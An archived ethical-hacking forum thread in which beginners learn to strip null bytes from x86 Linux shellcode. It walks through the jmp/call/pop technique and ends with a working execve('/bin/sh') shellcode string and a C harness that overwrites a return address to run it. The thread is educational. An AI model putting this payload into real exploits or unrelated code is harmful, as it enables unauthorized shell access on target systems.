Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
Jan 2009 Free Giveaway Sponsor - Black Hat DC
Scooby Doo and the Crypto Caper - Answers and Winners
Daemon - A Contest Revealed
Hacking: The Art of Exploitation 2nd Edition
Nov 2008 Free Giveaway - Winners
Dec 2008 Free Giveaway Sponsor - SANS
Santa Claus is Hacking to Town
Plug-N-Play Network Hacking
Nov 2008 Free Giveaway Sponsor - CWNP
Daemon - A Contest Begins Now
It Happened One Friday - Answers and Winners
Daemon - A Contest
Scooby Doo and the Crypto Caper
MS Blue Hat Hackers Headline Chicago Security Con
The Pen Testing Perfect Storm Webcast Series with Skoudis, Wright, Johnson
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 17 guests and 1 member online
EH-Net Donations
Enter Amount:
$
CAD
USD
GBP
AUD
JPY
EUR
Google Ads
EH-Net News Feeds
Latest Additions
Book Recommendations
You are here:
Home
Forum
Ethical Hacking Discussions and Related Certifications
Programming
understanding for rid null bytes from my code ???
Ethical Hacker Community Forums
January 09, 2009, 07:38:26 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: ChicagoCon 2009 - May 4 - 9. Boot Camps & an Ethical Hacking Conf.
www.chicagocon.com
Home
Help
Calendar
Login
Register
Ethical Hacker Community Forums
>
Ethical Hacking Discussions and Related Certifications
>
Programming
(Moderator:
don
) >
understanding for rid null bytes from my code ???
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: understanding for rid null bytes from my code ??? (Read 3666 times)
0 Members and 1 Guest are viewing this topic.
nubie
Newbie
Offline
Posts: 12
understanding for rid null bytes from my code ???
«
on:
December 04, 2008, 02:53:43 AM »
Hi all,
i have a question about shellcode that i learn:
* i had create some c file and i had compiled it to exe but when i
use "objdump -d file.c" i saw there is a null bytes on my code so i had compile that c file to assembler
file using gcc but when i got the assembler files i always failed to rid that null bytes from my assembler
code that i just compile, here is the assembler code that i don't had modified:
Code:
.file "shell.c"
.section .rodata
.LC0:
.string "/bin/sh"
.text
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
subl $36, %esp
movl $.LC0, -12(%ebp)
movl $0, -8(%ebp)
movl -12(%ebp), %edx
movl $0, 8(%esp)
leal -12(%ebp), %eax
movl %eax, 4(%esp)
movl %edx, (%esp)
call execve
movl $0, (%esp)
call exit
.size main, .-main
.ident "GCC: (GNU) 4.1.2 20061115 (prerelease) (SUSE Linux)"
.section .note.GNU-stack,"",@progbits
Thanks a lot before and sorry for this stupid question(still noob about asm
),
Thank you,
Logged
jimbob
Sr. Member
Offline
Posts: 333
Re: understanding for rid null bytes from my code ???
«
Reply #1 on:
December 04, 2008, 03:57:52 AM »
I'm not an asm programmer, but there is a very good description of this problem in the book Sockets, Shellcode, Porting and Coding by James C. Foster. Not much help if you don't have the book I know, but it's a good resource for learning to write shellcode.
Jimbob
Logged
RoleReversal
Hero Member
Offline
Posts: 508
Re: understanding for rid null bytes from my code ???
«
Reply #2 on:
December 04, 2008, 04:03:37 AM »
Nubie,
I haven't spent much time playing with custom shellcode yet so this may not work. However, first thing I'd look at is msfencode from the Metasploit framework, I
think
you should be able to run your compiled shellcode through this with a list of bad characters to remove null bytes and any other character that would break functionality.
Hopefully you can either prove or disprove this theory, or someone with more experience can provide further guidance, good luck.
RR
Logged
A little bit of sanity:
http://www.infosanity.co.uk
NickFnord
Jr. Member
Offline
Posts: 50
Re: understanding for rid null bytes from my code ???
«
Reply #3 on:
December 04, 2008, 04:48:16 AM »
Hi Nubie - I'm also new at writing shellcode, but it is my understanding that you should look at the actual opcodes to determine where the null byte is coming from.
Use objdump -d on the compiled file and identify which commands have null bytes - for example:
80483a5: b8 11 00 00 00 mov $0x11,%eax
Has three null bytes, but you can fix this by changing to use the low 8 bit register:
mov $0x11, %al
Which will remove the null bytes from the shellcode but still perform the same function.
Does this assist at all?
Logged
jimbob
Sr. Member
Offline
Posts: 333
Re: understanding for rid null bytes from my code ???
«
Reply #4 on:
December 04, 2008, 07:09:25 AM »
NickFnord's answer is correct. I checked my book
Putting arbitrary values into the extended registers like eax leads to null byte padding. For example...
mov eax,1
becomes...
movl eax,0x00000001
This is because the eax register is 4 bytes wide, so when you move a value into it it must be 4 bytes in length. The way to load a value into this register is to use the 8-bit version al.
mov al,1
Set the register to zero before doing this by xoring the 32-bit register with itself...
xor eax,eax
Regards,
Jimbob
Logged
nubie
Newbie
Offline
Posts: 12
Re: understanding for rid null bytes from my code ???
«
Reply #5 on:
December 07, 2008, 11:14:59 PM »
Hi all,
Thanks a lot for all your replies and sorry just post this reply now, cause
i had a problem internet connection(
in my country it's so difficult to find a good and cheap provider). And about code above that i' had compiled theoritically
i had understand that but why/or it is true when i compiled same code in different pc with different operating systems the results i've compiled had different cause i had use suse and cygwin for compiled that code to assembly code and the result seem different although if i read carefully the null byte is different
.
And i still try to rid that null in different OS like that cause i want to full understanding about this matter
. Thank's a lot again for your kind help
and sorry for this post
Logged
NickFnord
Jr. Member
Offline
Posts: 50
Re: understanding for rid null bytes from my code ???
«
Reply #6 on:
December 08, 2008, 04:31:14 AM »
don't say sorry for posting! there's no such thing as a stupid question.
yes, your code may compile differently under different operating systems and definately with different compilers, but it should all by syntactically the same.
the general process for writing shellcode goes:
1. write your code in a high level language
2. compile to assembly
3. take only the assembly component that you need from it
4. compile cut-down assembly to binary
5. disassemble resulting binary to identify null bytes
6. re-work the assembly until you remove null bytes (see above posts for general idea of how to remove null bytes).
you may need to engage in some jiggery-pokery to reserve space for strings such as /bin/sh etc.
if you're serious about getting into this, I Highly recommend getting "the shellcoders handbook" - the entire book is dedicated to writing shellcode.
I'll post an excerpt from it detailing the above steps later on if you like (don't have the book in front of me right now).
Logged
nubie
Newbie
Offline
Posts: 12
Re: understanding for rid null bytes from my code ???
«
Reply #7 on:
December 08, 2008, 09:49:27 PM »
Thank you NickFnord for your support and your help
,
and i'm really like/glad if you want to help me.
regards,
nubie
Logged
nubie
Newbie
Offline
Posts: 12
Re: understanding for rid null bytes from my code ???
«
Reply #8 on:
December 09, 2008, 03:03:34 AM »
Hi all,
What i want to asking is about in line 16 in my code that i posted about %.LC0 when i search about LC0 it just about symbol/label for an address and i see using objdump the address is
0x8048500 and it contain one part NULL, i need some help/advices for rid that part of NULL from that address ?.
And also is my think is true based on this replies post, about if that just contain full NULL like ex:
mov ebx, 0 (in shellcode it contain full NULL)
so the change is: xor ebx, ebx
And how about is write movl $0,(%esp)(like my code in below, it showed)
is just the change just like : xor %esp,(%esp)
Thank you, but sorry if my language is confusing
,
regards,
nubie
Logged
NickFnord
Jr. Member
Offline
Posts: 50
Re: understanding for rid null bytes from my code ???
«
Reply #9 on:
December 09, 2008, 06:05:05 AM »
Hi again,
I was going to try to type out an excerpt from the shellcoder's handbook, but it is multiple pages long. This was a Good Thing because it forced me to understand it prior to posting here :-) I havn't done so previously because I'm focusing on the reversing course that I'm doing at the moment.
Anyway, In summary:
We want to spawn a shell by calling
Code:
execve ('/bin/sh','/bin/sh',null);
So first we write what we want to do in c (this is code from the book):
Code:
#include <stdio.h>
int main()
{
char *happy[2];
happy[0] = "/bin/sh";
happy[1] = null;
execve (happy[0],happy,null);
}
Next we disassemble it and take a look at the execve call (this is cut down to show the parameters and the call itself, but it's good to look at the entire function):
Code:
804e15b: 8b 5d 08 mov 0x8(%ebp),%ebx
<snip>
804e165: 8b 4d 0c mov 0xc(%ebp),%ecx
804e168: 8b 55 10 mov 0x10(%ebp),%edx
804e16b: b8 0b 00 00 00 mov $0xb,%eax
804e170: cd 80 int $0x80
As you can see, int 80 performs the syscall which is stored in eax (execve is 0xb) and takes three arguments, passed in via the registers ebx, ecx and edx (fastcall convention).
The problem with simply taking the disassembly and removing null bytes is that there are a lot of hard-coded addresses in there - which, as you've found, are difficult to deal with.
So we need a way to make it so we can reference everything via relative addressing.
The simplest way to do this is to have our shellcode execute in it's own stack frame that we can control. The idea is that we start the shellcode off with a call and then go from there.
Here's the assembly code from the book (sorry for the intel syntax):
Code:
Section .text
global _start
_start:
jmp short gotocall
shellcode:
pop esi
xor eax, eax
mov byte [esi+7], al
lea ebx, [esi]
mov long [esi +8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi +12]
int 0x80
gotocall:
call shellcode
db '/bin/shABBBBCCCC'
When the call instruction is executed, the instruction immediately following is placed on the stack. We've included some padding in the db (define byte) instruction in order to make room for the extra parameters in our call to execve.
Next we pop esi to get the address of our '/bin/shABBBBCCCC' string into the ESI register - now we can reference this as offsets from ESI.
Code:
xor eax, eax
sets eax to null.
Code:
mov byte [esi+7], al
places a null over the 7th byte in our string the "A"
Code:
lea ebx, [esi]
places our string into ebx
Code:
mov long [esi +8], ebx
moves our string into the address at esi+8. our string now should look like: '/bin/sh./bin/shCCCC' with the "." representing a null
Code:
mov long [esi + 12], eax
This moves null (eax was xor'd previously) into the last part of our string
Now we set up ready for the interrupt 80:
Code:
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi +12]
At this point - EAX will contain 00 00 00 0b
EBX will contain a pointer to the string '/bin/sh'
Ecx will also contain a pointer to the string '/bin/sh'
And edx will contain a pointer to a null
Then we execute the interrupt.
Code:
int 0x80
So you merely have to compile that assembly and extract the opcodes.
hope that helps -
«
Last Edit: December 09, 2008, 06:11:21 AM by NickFnord
»
Logged
nubie
Newbie
Offline
Posts: 12
Re: understanding for rid null bytes from my code ???
«
Reply #10 on:
December 10, 2008, 10:08:35 PM »
Hi NickFnord,
thanks for the tutorial above, but from that that tutorial it makes me think/choose for
create a true code without NULL by using pure assembly code or fixing NULL bytes later
when code has set up
, actually both of it i must still learn but i just ask some opinion
about this.
Thank's a lot .
regards,
nubie
Logged
NickFnord
Jr. Member
Offline
Posts: 50
Re: understanding for rid null bytes from my code ???
«
Reply #11 on:
December 11, 2008, 04:34:29 AM »
I'm by no means an expert, just learning, like yourself so I may be very wrong, (please someone stop me if I am!) but I'm almost certain that for the most part when writing shellcode yourself you're not going to be able to simply manipulate the existing assembly to remove the nulls, you're going to have to analyse the code that you're wanting to execute and break it down into its essential components and then re-write as efficiently as you can.
Even when you do a simple exit as below:
Code:
> vi exitcode.c
void main()
{
exit(0);
}
> gcc -static -o exitcode exitcode.c
> objdump -d ./exitcode > exitcode.dump
0804e12c <_exit>:
804e12c: 8b 5c 24 04 mov 0x4(%esp),%ebx
804e130: b8 fc 00 00 00 mov $0xfc,%eax
804e135: cd 80 int $0x80
804e137: b8 01 00 00 00 mov $0x1,%eax
804e13c: cd 80 int $0x80
you're still going to have to figure out what is being loaded into ebx (0 apparently).
and determine whether you need both int 80's. (one is exit_group() and one is exit())
The resulting assembly would be
Code:
section .text
global _start
_start:
xor ebx, ebx
xor eax, eax
mov al, 1
int 80
which doesn't really bear a lot of resemblence to the original disassembly
Logged
nubie
Newbie
Offline
Posts: 12
Re: understanding for rid null bytes from my code ???
«
Reply #12 on:
December 11, 2008, 04:51:40 AM »
Hi NickFnord,
Thanks for your opinion and it makes me realizes and comfort about writing shellcode
.
Thanks again for your help
.
regards,
nubie
Logged
logisic
Newbie
Offline
Posts: 2
Re: understanding for rid null bytes from my code ???
«
Reply #13 on:
December 18, 2008, 06:28:02 PM »
nubie, have u tried that asm code NickFnord posted on reply #9? been trying to run it but it keeps segfaulting on me. NickFnord, any thoughts? m running ubuntu 8.10, also tried on debian 4 and fedora 10 but i got the same result, if that matters.
Logged
NickFnord
Jr. Member
Offline
Posts: 50
Re: understanding for rid null bytes from my code ???
«
Reply #14 on:
December 19, 2008, 06:51:58 PM »
the idea is that you compile the asm, objdump it, extract the opcodes and then test it in a C program.
Code:
bt shellcode # objdump -d ./shell
./shell: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 1a jmp 804807c <gotocall>
08048062 <shellcode>:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0x7(%esi)
8048068: 8d 1e lea (%esi),%ebx
804806a: 89 5e 08 mov %ebx,0x8(%esi)
804806d: 89 46 0c mov %eax,0xc(%esi)
8048070: b0 0b mov $0xb,%al
8048072: 89 f3 mov %esi,%ebx
8048074: 8d 4e 08 lea 0x8(%esi),%ecx
8048077: 8d 56 0c lea 0xc(%esi),%edx
804807a: cd 80 int $0x80
0804807c <gotocall>:
804807c: e8 e1 ff ff ff call 8048062 <shellcode>
8048081: 2f das
8048082: 62 69 6e bound %ebp,0x6e(%ecx)
8048085: 2f das
8048086: 73 68 jae 80480f0 <gotocall+0x74>
8048088: 41 inc %ecx
8048089: 42 inc %edx
804808a: 42 inc %edx
804808b: 42 inc %edx
804808c: 42 inc %edx
804808d: 43 inc %ebx
804808e: 43 inc %ebx
804808f: 43 inc %ebx
8048090: 43 inc %ebx
take the opcodes and stick into a test framework:
Code:
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43"
"\x43";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
and that should run fine.
edit: here's a good article I found helpful too:
http://www.madirish.net/?article=168
«
Last Edit: December 19, 2008, 06:59:34 PM by NickFnord
»
Logged
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Special Events
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009
=> News Items and General Discussion About EH-Net
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> Certification
===> The Charter Study Group - Pen Test
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
=====> CEH - Official Course Modules v4
=====> CEH - Official Course Modules v5
=====> CEH - Official Course Modules v6
===> CPTS - Certified Pen Testing Specialist
=====> CPTS - Official Course Modules v5
===> CPTE - Certified Pen Testing Expert
=====> CPTE - Official Course Modules v1
===> ECSA - EC-Council Certified Security Analyst
=====> ECSA - Official Course Modules v1.2
=====> ECSA / LPT - Official Course Modules v3
===> OSCP - Offensive Security Certified Professional
===> GPEN - GIAC Certified Penetration Tester
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
=====> CHFI - Official Course Modules v2
===> EnCE - EnCase® Certified Examiner
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Hardware
=> Malware
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Gates
=> Heffner
=> Hoffman
=> RichM
=> Murray
=> J. Peltier
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
Loading...
Sponsors
Polls
How many security events including conferences and training do you attend a year:
1 - 2
3 - 4
5 - 6
7+
None - But want to
None - Choose not to
Support EH-Net
Support EH-Net by
Buying all of your
Amazon items using
the search bar above.
Try CBT Nuggets Free!
Recent Forum Topics
Other
: Windows 7 Beta Available Tomorrow
(7) by
NickFnord
Wireless
: WEP cracking, how to ping router?
(2) by
duffman984
Oct 2008 - Scooby Doo and the Crypto Caper
: Skillz October 08 Winning Entry - Creative
(2) by
rforsythe
Book Reviews
: Need a book suggestion!
(5) by
unicityd
OSCP - Offensive Security Certified Professional
: Offensive Security Releases Sample Pen Testing Report
(2) by
Chan
Web Applications
: Determine URL from IP address
(3) by
scottr
Malware
: uninstall trend mciro officescan clients
(2) by
Hack_80
Other
: openSUSE 11.1 Released
(0) by
don
Other
: Insanity?
(5) by
jason
Other
: Fedora Hits the 10 Spot
(0) by
don
Other
: FreeBSD 7.1 Released
(0) by
don
OSCP - Offensive Security Certified Professional
: Next Up OSCP101 v2.0
(39) by
don
Tools
: Core Impact Essentials
(0) by
sgt_mjc
News from the Outside World
: Google branching out a little further...
(3) by
jason
Physical Security
: Magnetic stripe card spoofing
(5) by
jason
Gates
: Oracle version module for metasploit
(3) by
RoleReversal
Malware
: THe website is Evil but what to do??
(3) by
NickFnord
CEH - Certified Ethical Hacker
: Helow... help some tutorials...
(7) by
K3lV1n
CEH - Certified Ethical Hacker
: CEH is a scam
(20) by
K3lV1n
Mass Media
: Daniel Suarez Interview
(9) by
blackazarro
Malware
: Security Forecast for 2009
(5) by
jason
News from the Outside World
: Is this acceptable?
(9) by
jason
Wireless
: Wireless Pen Testing Cards
(6) by
jason
Oct 2008 - Scooby Doo and the Crypto Caper
: Skillz October 08 Winning Entry - Technical
(1) by
jason
Book Reviews
: [Article]-Mitnick - The Art Of Intrusion: Ch 1 - Hacking The Casinos For A Million Bu...
(5) by
jason
Links to cool sites.
: Free Computer Engineering Classes From Stanford
(3) by
jason
Oct 2008 - Scooby Doo and the Crypto Caper
: [Article]-Scooby Doo and the Crypto Caper - Answers and Winners
(2) by
jason
News Items and General Discussion About EH-Net
: [Article]-Jan 2009 Free Giveaway Sponsor - Black Hat DC
(1) by
jason
News Items and General Discussion About EH-Net
: EH-Net Milestone - 2 Articles Cross 1 Million Page Views
(3) by
BillV
Other
: What kind of lab, machines you have for your security testing?
(12) by
charlottebandit
Malware
: Network Virus Problem
(9) by
RoleReversal